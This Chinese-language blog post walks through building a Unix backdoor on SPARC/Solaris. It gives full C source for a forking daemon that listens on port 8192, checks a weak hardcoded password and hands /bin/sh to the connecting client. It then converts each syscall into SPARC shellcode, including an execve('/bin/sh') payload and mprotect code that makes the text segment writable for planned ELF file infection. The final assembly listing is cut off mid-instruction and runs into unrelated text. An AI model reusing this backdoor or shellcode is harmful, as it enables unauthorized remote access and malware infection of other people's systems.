SPARC/Solaris下的Unix后门初探

  无论从感染ELF文件角度还是编写远程shellcode角度都有必要研究SPARC/Solaris下的网络系统调用。这个方向并没有现成的资料,我也是摸着石头过河,给大家探个路。————————————————————————–/* gcc -g -ggdb -o s s.c -lsocket */#include #include #include #include ints, c;struct sockaddr_in serv_addr;char *name[2];charpass[9] = “xxxxxxxx”;int main ( int argc, char * argv[] ){ if ( fork() == 0 ) /* 子进程 */ {setsid(); /* become session leader */signal( SIGHUP, SIG_IGN );if ( fork() == 0 ) /* 子进程 */{serv_addr.sin_family= 2;serv_addr.sin_addr.s_addr = 0;serv_addr.sin_port= 0x2000; // 端口8192// 创建TCP套接字,这里与Linux有区别s= socket( 2, 2, 6 );bind( s, ( struct sockaddr * )&serv_addr, 0x10 );listen( s, 1 );signal( SIGCHLD, SIG_IGN );while ( 1 ){c = accept( s, 0, 0 );if ( fork() == 0 ) /* 子进程 */{close( s );/* 用c进行通信,做一次弱验证保护 */while ( strcmp( pass, “12345678” ) != 0 ){read( c, pass, 8 );}// 准备输入输出重定向,标准技术dup2( c, 0 );dup2( c, 1 );dup2( c, 2 );close( c ); /* 这里可以关闭c */name[0] = “/bin/sh”;name[1] = 0;execve( name[0], name, 0 );exit( 0 ); /* 防止execve()失败 */}close( c ); /* 这里必须关闭c */} /* end of while */} } return( 0 ); /* 父进程 */} /* end of main */————————————————————————–该程序只能编译成动态版本,如果指定-static,发现[scz@ /space/staff/scz/src]> gcc -g -ggdb -static -o s s.c -lsocket未定义符号在文件中endnetconfig/usr/lib/libsocket.a(_soutil.o)setnetconfig/usr/lib/libsocket.a(_soutil.o)getnetconfig/usr/lib/libsocket.a(_soutil.o)ld: 致命的: 符号参照错误. 没有输出被写入s[scz@ /space/staff/scz/src]> 我尝试了/usr/lib和/lib下的很多库,都无法解决这个问题。后来拷贝/usr/lib/libsocket.a到当前目录,用ar dv ./libsocket.a _soutil.o处理,然后链接一样失败。甚至ar xv ./libsocket.a后用ld命令进行手工链接,依旧存在外部符号无着落的问题。大家知道,没有静态版本,要想得到一个精简的汇编代码版本是不可能的,总不能在浩如烟海的动态链接库里单步跟踪下去判断中断调用发生在哪里。还好,可以用truss跟踪。适当调整上述代码,用truss跟踪后有如下内容:setsid()= 2260sigaction(SIGHUP, 0xEFFFFC58, 0xEFFFFCD8)= 0so_socket(2, 2, 6, “”, 1)= 3bind(3, 0x00021E60, 16)= 0listen(3, 1)= 0sigaction(SIGCLD, 0xEFFFFC58, 0xEFFFFCD8)= 0accept(3, 0x00000000, 0x00000000) (sleeping…)这堆信息就不用我再废话解释了吧。ok,至此我们有了一个绝妙的想法,既然得不到静态版本主要由于libsocket.a外部符号无着落,那么我用syscall呢?直接进行相对底层的系统调用,呵呵,其实以前很少用syscall的,这次也是被逼无奈嘛。现在可以抛弃-lsocket链接开关了,这只猪害人不浅。关于setsid(),如果用gdb反汇编一路看下去,还是很快定位到中断调用的,但是我们可以直接观察/usr/include/sys/syscall.h,第39号系统调用的注释中有:setsid() == syscall( 39, 3 ) == syscall( SYS_pgrpsys, 3 )显然可以直接替换setsid()。至于signal,对应48号系统调用(SYS_signal),也直接利用syscall完成。————————————————————————–// gcc -g -ggdb -static -o s s.c// 使用syscall之后,可以抛弃-lsocket链接开关// 由于libsocket.a有点问题,存在外部符号无着落,无法使用静态链接开关// 但是现在我们抛开了libsocket.a,可以指定-static了,哈哈#include #include #include #include #include #include ints, c;struct sockaddr_in serv_addr;char *name[2];charpass[9] = “xxxxxxxx”;int main ( int argc, char * argv[] ){ if ( fork() == 0 ) /* 子进程 */ {// setsid(); /* become session leader */// SYS_pgrpsyssyscall( 39, 3 );// signal( SIGHUP, SIG_IGN );// SYS_signalsyscall( 48, 1, 1 );if ( fork() == 0 ) /* 子进程 */{serv_addr.sin_family= 2;serv_addr.sin_addr.s_addr = 0;// 使用big endian序serv_addr.sin_port= 0x2000; // 端口8192// 创建TCP套接字,这里与Linux有区别// s= socket( 2, 2, 6 );// SYS_so_sockets= syscall( 230, 2, 2, 6 );// bind( s, ( struct sockaddr * )&serv_addr, 0x10 );// SYS_bindsyscall( 232, s, ( struct sockaddr * )&serv_addr, 16 );// listen( s, 1 );// SYS_listensyscall( 233, s, 1 );// signal( SIGCHLD, SIG_IGN );syscall( 48, 18, 1 );while ( 1 ){// c = accept( s, 0, 0 );// SYS_acceptc = syscall( 234, s, 0, 0 );if ( fork() == 0 ) /* 子进程 */{// close( s );// SYS_closesyscall( 6, s );/* 用c进行通信,做一次弱验证保护 */while ( strcmp( pass, “12345678” ) != 0 ){// read( c, pass, 8 );// SYS_readsyscall( 3, c, pass, 8 );}// 准备输入输出重定向,标准技术// dup2( c, 0 );// dup2( c, 1 );// dup2( c, 2 );// SPARC/Solaris没有单独实现dup2,而是用fcntl实现// 有点其他问题,请参看APUE,天晓得发生了什么// syscall( SYS_fcntl, c, F_DUP2FD, 0 );syscall( 62, c, 9, 0 );syscall( 62, c, 9, 1 );syscall( 62, c, 9, 2 );// close( c ); /* 这里可以关闭c */syscall( 6, c );name[0] = “/bin/sh”;name[1] = 0;execve( name[0], name, 0 );// exit( 0 ); /* 防止execve()失败 */// SYS_exitsyscall( 1, 0 );}// close( c ); /* 这里必须关闭c */syscall( 6, c );} /* end of while */} } return( 0 ); /* 父进程 */} /* end of main */————————————————————————–对于fork(),可以gdb ./s后disas _libc_fork查看。粗略浏览一遍之后,觉得基本上每个系统调用都能得到机器码,下面着手细化每个系统调用,毕竟和i386/Linux不同了。————————————————————————–0x101c0: call 0x1267c 0x101c4: nop 0x101c8: cmp %o0, 00x101cc: bne 0x10434 0x101d0: nop 0x131c4 : mov 2, %g1! 0x20x131c8 : ta 80x131cc : bcc 0x131e0 0x131d0 : sethi %hi(0x16000), %o50x131d4 : or %o5, 0x90, %o5! 0x16090 0x131d8 : jmp %o50x131dc : nop 0x131e0 : tst %o10x131e4 : bne,a 0x131ec 0x131e8 : mov %g0, %o00x131ec : retl 0x131f0 : nop ————————————————————————–综合判断后提炼如下:————————————————————————–/* gcc -o asm asm.c */int main ( int argc, char * argv[] ){ __asm__ (“mov 2, %g1ta 8tst %o1! %o1不为0表示是子进程bne,a .+16! 是子进程,跳转mov %g0, %o0 ! 延迟插槽,注意理解延迟插槽的执行顺序call .+8nopnop! 需要替换,此时%o0为0,子进程继续 “);} /* end of main */————————————————————————–可以用truss ./asm观察一下上述代码是否成功执行了fork()系统调用,man手册里提到fork()失败会返回-1。下面来观察syscall( 39, 3 ):————————————————————————–0x101d4 : mov 0x27, %o0 ! 0x270x101d8 : mov 3, %o10x101dc : call 0x10fec 0x101e0 : nop 0x10fec : clr %g10x10ff0 : ta 80x10ff4 : bcc 0x11008 0x10ff8 : sethi %hi(0x16000), %o50x10ffc : or %o5, 0x90, %o5! 0x16090 0x11000 : jmp %o50x11004 : nop 0x11008 : retl 0x1100c : nop ————————————————————————–综合判断后提炼如下:————————————————————————–/* gcc -o asm asm.c */int main ( int argc, char * argv[] ){ __asm__ (“mov 0x27, %o0mov 3, %o1clr %g1ta 8 “);} /* end of main */————————————————————————–同样可以用truss ./asm观察一下上述代码是否成功执行了setsid()系统调用。下面来观察syscall( 48, 1, 1 ):————————————————————————–0x101e4 :mov 0x30, %o0 ! 0x300x101e8 :mov 1, %o10x101ec :mov 1, %o20x101f0 :call 0x10fec 0x101f4 :nop ————————————————————————–综合判断后提炼如下:————————————————————————–/* gcc -o asm asm.c */int main ( int argc, char * argv[] ){ __asm__ (“mov 0x30, %o0mov 1, %o1mov 1, %o2clr %g1ta 8 “);} /* end of main */————————————————————————–有了上面的研究基础,下面直接编写syscall( 1, 0 ):————————————————————————–/* gcc -o asm asm.c */int main ( int argc, char * argv[] ){ __asm__ (“mov 0x01, %o0clr %o1clr %g1ta 8 “);} /* end of main */————————————————————————–ok,到此为止,我们不急于分析网络系统调用,计划先整和出一个汇编版本的daemon框架:————————————————————————–/* gcc -o asm asm.c */int main ( int argc, char * argv[] ){ __asm__ (“mov 2, %g1ta 8tst %o1! %o1不为0表示是子进程bne,a .+16! 是子进程,跳转mov %g0, %o0 ! 延迟插槽call exitnopmov 0x27, %o0 ! 此前%o0为0,子进程继续mov 3, %o1clr %g1ta 8mov 0x30, %o0mov 1, %o1mov 1, %o2clr %g1ta 8mov 2, %g1ta 8tst %o1! %o1不为0表示是子进程bne,a .+16! 是子进程,跳转mov %g0, %o0 ! 延迟插槽call exitnopexit:mov 0x01, %o0clr %o1clr %g1ta 8 “);} /* end of main */————————————————————————–哈哈,虽然SPARC总是和我过不去,可也要留下点回忆嘛。接下来观察s = syscall( 230, 2, 2, 6 ):————————————————————————–0x10244 :mov 0xe6, %o00x10248 :mov 2, %o10x1024c :mov 2, %o20x10250 :mov 6, %o30x10254 :call 0x10fec 0x10258 :nop 0x1025c :sethi %hi(0x27800), %o10x10260 :st %o0, [ %o1 + 0x1b4 ]! 0x279b4 ————————————————————————–从这里可以看出s由%o0返回,其余的对于我们已经不新鲜了:————————————————————————–/* gcc -o asm asm.c */int main ( int argc, char * argv[] ){ __asm__ (“mov 0xe6, %o0mov 0x02, %o1mov 0x02, %o2mov 0x06, %o3clr %g1ta 8st %o0, [ %l7 ] ! [ %l7 ]存放s “);} /* end of main */————————————————————————–如果去掉最后的st指令,可以用truss ./asm检验效果,最后的st指令是保存s的意思,这里假设%l7已经指向正确的内存空间。接下来观察syscall( 232, s, ( struct sockaddr * )&serv_addr, 16 ):————————————————————————–0x1020c : sethi %hi(0x27800), %o00x10210 : mov 2, %o10x10214 : sth %o1, [ %o0 + 0x1b8 ] ! serv_addr.sin_family = 2;0x10218 : sethi %hi(0x27800), %o00x1021c : mov 4, %o10x10220 : or%o0, 0x1b8, %o2! 0x279b8 0x10224 : add %o1, %o2, %o0! 0x279bc 0x10228 : clr [ %o0 ]! serv_addr.sin_addr.s_addr = 0;0x1022c : sethi %hi(0x27800), %o00x10230 : mov 2, %o10x10234 : or%o0, 0x1b8, %o2! 0x279b8 0x10238 : add %o1, %o2, %o0! 0x279ba 0x1023c : sethi %hi(0x2000), %o10x10240 : sth %o1, [ %o0 ]! serv_addr.sin_port = 0x2000;0x10264 : sethi %hi(0x27800), %o10x10268 : mov 0xe8, %o00x1026c : ld[ %o1 + 0x1b4 ], %o1 ! %o1设置成s0x10270 : sethi %hi(0x27800), %o30x10274 : or%o3, 0x1b8, %o2! 0x279b8 0x10278 : mov 0x10, %o3! 160x1027c : call 0x10fec 0x10280 : nop ————————————————————————–这两段比较晦涩难懂,我也无法确认该如何提炼,先尝试如下:————————————————————————–/* gcc -o asm asm.c */int main ( int argc, char * argv[] ){ __asm__ (“mov 2, %o1sth %o1, [ %l7 + 0x04 ] ! serv_addr.sin_familyclr [ %l7 + 0x08 ]! serv_addr.sin_addr.s_addrsethi %hi(0x2000), %o1sth %o1, [ %l7 + 0x06 ] ! serv_addr.sin_portmov 0xe8, %o0! 第一个参数232ld [ %l7 ], %o1! 第二个参数smov 4, %o2add %l7, %o2, %o2! 第三个参数&serv_addrmov 0x10, %o3! 最后一个参数16clr %g1ta 8 “);} /* end of main */————————————————————————–不用观察syscall( 233, s, 1 )、syscall( 48, 18, 1 ),直接编写它们:————————————————————————–/* gcc -o asm asm.c */int main ( int argc, char * argv[] ){ __asm__ (“mov 0xe9, %o0! 第一个参数233ld [ %l7 ], %o1! 第二个参数smov 0x01, %o2! 第三个参数1clr %g1ta 8mov 0x30, %o0mov 0x12, %o1mov 0x01, %o2clr %g1ta 8 “);} /* end of main */————————————————————————–下面是c = syscall( 234, s, 0, 0 )的相关代码片段,尚未提炼:————————————————————————–0x102c0 :sethi %hi(0x27800), %o10x102c4 :mov 0xea, %o00x102c8 :ld[ %o1 + 0x1b4 ], %o10x102cc :clr %o20x102d0 :clr %o30x102d4 :call 0x10fec 0x102d8 :nop 0x102dc :sethi %hi(0x27800), %o10x102e0 :st%o0, [ %o1 + 0x1b0 ]! 0x279b0 —————————————————————————————————————————————————-/* gcc -o asm asm.c */int main ( int argc, char * argv[] ){ __asm__ (“mov 0xea, %o0ld [ %l7 ], %o1! 第二个参数sclr %o2clr %o3clr %g1ta 8st %o0, [ %l7 + 4 ]! [ %l7 +4 ]存放c “);} /* end of main */————————————————————————–一个更加残酷的问题摆到了革命群众的面前。Linux下有125号系统调用,SPARC/Solaris呢?我在Linux的/usr/include/bits/syscall.h中大海捞针一般地找到了125号系统调用的符号名SYS_mprotect,于是转回SUN下在/usr/include/sys/syscall.h中查找SYS_mprotect,还好,116号系统调用就是的。可入口参数呢?我怎么知道那些破破的SPARC芯片寄存器中哪个该设置成相关参数呢?如果你以为革命群众已经到了最后关头,那就太不具备革命乐观主义精神了。万般无奈下,我man mprotect了,呼呼,居然有东西出现,那么下面就不要废话啦,先赶快提取mprotect的汇编码:————————————————————————–/* gcc -o test test.c */#include #include #include int main ( int argc, char * argv[] ){ char * buf; char c; /* 分配一块内存,拥有缺省的rw-保护 */ buf = ( char * )malloc( 1024 + 4096 – 1 ); if ( !buf ) {perror( “Couldn’t malloc( 1024 )” );exit( errno ); } /* Align to a multiple of PAGESIZE, assumed to be a power of two */ buf = ( char * )( ( ( unsigned long )buf + 4096 – 1 ) & ~( 4096 – 1 ) ); c= buf[77]; /* Read ok */ buf[77] = c;/* Write ok */ printf( “ok\n” ); /* Mark the buffer read-only. */ // 必须保证这里buf位于页边界上,否则mprotect()失败,报告无效参数 */ if ( mprotect( buf, 1024, PROT_READ ) ) {perror( “\nCouldn’t mprotect” );exit( errno ); } c= buf[77]; /* Read ok */ buf[77] = c;/* Write error, program dies on SIGSEGV */ exit( 0 );} /* end of main */————————————————————————–[scz@ /export/home/scz/src]> gcc -o test test.c[scz@ /export/home/scz/src]> ./testok段错误 (core dumped) 用gdb ./test看到如下入口参数:————————————————————————–0x10bc4 :ld [ %fp + -20 ], %o00x10bc8 :mov 0x400, %o10x10bcc :mov 1, %o20x10bd0 :call 0x21874 0x10bd4 :nop ————————————————————————–同样,并不直接使用mprotect系统调用,依旧采用syscall的方式,我们编写如下代码:————————————————————————–/* gcc -o asm asm.c */int main ( int argc, char * argv[] ){ __asm__ (“mov 0x74, %o0! 第一个参数116sethi %hi(0x10000), %o1 ! 第二参数,起始地址sethi %hi(0x00002000), %o2 ! 第三个参数8096mov 0x07, %o3! 第四个参数7,rwxclr %g1ta 8! call . ! 用于调试,设置个无限循环,然后用pmap观察! nop “);} /* end of main */————————————————————————–别看目前代码这样清晰明了,可是费了不少手脚。关键需要注意的地方是起始地址必须位于页边界上,将来我们可以取得_start之后与一个0xffff0000。甚至再简单点,直接就使用上面这段代码,据我观察很多应用程序的_start都在0x10000到0x20000之间。其次,这里想到了另外一个问题,6.c和7.c在文本段中只设置了4096字节的可读可写区域,所以重复感染的次数不能太多,即使设置了4*4096字节的可读可写区域,也不能重复感染太多次,否则就会出现段溢出错误,因为可能对只读内存区域进行了写操作;再说重复感染多次,文件尺寸的激增也容易暴露,没有必要。我们这里姑且先固定地使用0x10000做起始地址,回头打印一下通过程序找到的文本段起始地址,,看看是否符合页边界对齐的要求,如果符合,就可以动态设置起始地址。再说吧,SPARC下罗嗦了许多。我们可以整合出一个daemon,这个daemon监听8192端口:————————————————————————–/* gcc -o asm asm.c */int main ( int argc, char * argv[] ){ __asm__ (“mov 0x74, %o0! 第一个参数116sethi %hi(0x10000), %o1 ! 第二参数,起始地址sethi %hi(0x00002000), %o2 ! 第三个参数8096mov 0x07, %o3! 第四个参数7,rwxclr %g1ta 8bn,a .-4! 跳转去执行call .-4指令bn,a .-4! 跳转去执行nopcall .-4! 跳转去执行前面这条bn,a .-4指令nop! 作为延迟插槽被执行一次,bn,a跳转后又执行一次add %o7, 172, %l7! %o7 + 172 指向本段代码尾部mov 0xe6, %o0mov 0x02, %o1mov 0x02, %o2mov 0x06, %o3clr %g1ta 8st %o0, [ %l7 ]! [ %l7 ]存放smov 2, %o1sth %o1, [ %l7 + 0x04 ] ! serv_addr.sin_familyclr [ %l7 + 0x08 ]! serv_addr.sin_addr.s_addrsethi %hi(0x2000), %o1sth %o1, [ %l7 + 0x06 ] ! serv_addr.sin_portmov 0xe8, %o0! 第一个参数232ld [ %l7 ], %o1! 第二个参数smov 4, %o2add %l7, %o2, %o2! 第三个参数&serv_addrmov 0x10, %o3! 最后一个参数16clr %g1ta 8mov 0xe9, %o0! 第一个参数233ld [ %l7 ], %o1! 第二个参数smov 0x01, %o2! 第三个参数1clr %g1ta 8mov 0x30, %o0mov 0x12, %o1mov 0x01, %o2clr %g1ta 8mov 0xea, %o0ld [ %l7 ], %o1! 第二个参数sclr %o2clr %o3clr %g1ta 8st %o0, [ %l7 + 4 ]! [ %l7 +4 ]存放cexit:mov 0x01, %o0clr %o1clr %g1ta 8.ascii \”xxxxxxxx\”.ascii \”xxxxxxxx\”.ascii \”xxxxxxxx\”.ascii \”xxxxxxxx\” “);} /* end of main */————————————————————————–这段代码仅仅演示了很重要的两个部分,一个是设置文本段可写,一个是成功创建套接字并阻塞在accept()系统调用处,一旦有入连接,程序就正常终止了。幸运的是,在经历了太多磨难后,SPARC没有继续为难我们,一切按照预想的发展。编写syscall( 6, s )、syscall( 6, c )以及syscall( 62, c, 9, 0 ):————————————————————————–/* gcc -o asm asm.c */int main ( int argc, char * argv[] ){ __asm__ (“mov 0x06, %o0! 第一个参数6ld [ %l7 ], %o1! 第二个参数sclr %g1ta 8mov 0x3e, %o0! 第一个参数62ld [ %l7 + 4 ], %o1! 第二个参数cmov 0x09, %o2clr %o3clr %g1ta 8mov 0x06, %o0! 第一个参数6ld [ %l7 + 4 ], %o1! 第二个参数cclr %g1ta 8 “);} /* end of main */————————————————————————–还有一个更烦人的execve( name[0], name, 0 ),可以从>中偷一些代码过来:————————————————————————–/* gcc -o asm asm.c */int main ( int argc, char * argv[] ){ __asm__ (“sethi 0xbd89a, %l4 ! sethi %hi(0x2f626800), %l4or%l4, 0x16e, %l4sethi 0xbdcda, %l5 ! sethi %hi(0x2f736800), %l5and%sp, %sp, %o0 ! $o0 指向字符串/bin/shadd%sp, 8, %o1! $o1 存放一个地址,该地址处存放了指向字符串的指针xor%o2, %o2, %o2 ! %o2寄存器清零add%sp, 16, %sp ! 留出存储空间std%l4, [%sp – 16] ! 存放字符串st%o0, [%sp – 8] ! 存放字符串指针st%g0, [%sp – 4] ! %g0总是为0mov0x3b, %g1! 将0x3b拷贝到%g1寄存器中ta8! 执行中断指令ta 8(execve()完成) “);} /* end of main */————————————————————————–最后研究一下syscall( 3, c, pass, 8 ):————————————————————————–0x1033c :mov 3, %o00x10340 :ld [ %o1 + 0x1b0 ], %o10x10344 :sethi %hi(0x26400), %o30x10348 :or %o3, 0x158, %o2! 0x26558 0x1034c :mov 8, %o30x10350 :call 0x10fec 0x10354 :nop ————————————————————————–分析后提炼如下:————————————————————————–/* gcc -o asm asm.c */int main ( int argc, char * argv[] ){ __asm__ (“mov 0x03, %o0! 第一个参数3ld [ %l7 + 4 ], %o1! 第二个参数cadd %l7, 8, %o2! 第三个参数passmov 0x08, %o3! 第四个参数8clr %g1ta 8 “);} /* end of main */————————————————————————–本以为这就是最后了,猛然记起SPARC没有repnz cmpsb指令。可以省点事的是我们强制口令恰好8个字节,所以比较两个usigned long即可。————————————————————————–/* gcc -o asm asm.c */int main ( int argc, char * argv[] ){ __asm__ (“read:mov 0x03, %o0! 第一个参数3ld [ %l7 + 4 ], %o1! 第二个参数cadd %l7, 8, %o2! 第三个参数passmov 0x08, %o3! 第四个参数8clr %g1ta 8! read( c, pass, 8 )ld [ %l7 + 8 ], %o0ld [ %l7 + 28 ], %o1cmp %o0, %o1be,a .+16nopcall readnopld [ %l7 + 12 ], %o0ld [ %l7 + 32 ], %o1cmp %o0, %o1be,a .+16nopcall readnop “);} /* end of main */————————————————————————–实际最初的代码不是这个样子,当时忽略了SPARC下严格的4字节对齐的要求,导致在做弱口令验证的时候总线错误,i386下是没有这种顾虑的。这也说明了SPARC下汇编编程更加困难,需要更多的细心。至此,我们需要的各个系统调用、各个关键部位的汇编代码统统搞定,剩下的问题是组合它们。提醒大家的是,即使我们这次组合顺利,也不意味着backdoor for sparc成功搞定,尚不了解ELF的处理方式是否通用于SPARC和i386之间。如果搞不定,大家不要乱扔臭鸡蛋、西红柿什么的,砸到我倒没什么,砸到小朋友怎么办,即使砸不到小朋友,砸到那些花花草草也是不好的,我都给你们说过多次了。言归正传,backdoor如果没搞定,作为汇编版本的远程shell毕竟提供出来了,对于以后可能出现的很多研究有借鉴作用,也是不错的。————————————————————————–/* gcc -o asm asm.c */int main ( int argc, char * argv[] ){ __asm__ (“mov 2, %g1ta 8! fork()tst %o1! %o1不为0表示是子进程bne,a .+16! 是子进程,跳转mov %g0, %o0! 延迟插槽call exitnopmov 0x27, %o0! 此前%o0为0,子进程继续mov 3, %o1clr %g1ta 8! setsid()mov 0x30, %o0mov 1, %o1mov 1, %o2clr %g1ta 8! signal( SIGHUP, SIG_IGN )mov 2, %g1ta 8! fork()tst %o1! %o1不为0表示是子进程bne,a .+16美好的生命应该充满期待、惊喜和感激

SPARC/Solaris下的Unix后门初探

相关文章:

你感兴趣的文章:

标签云: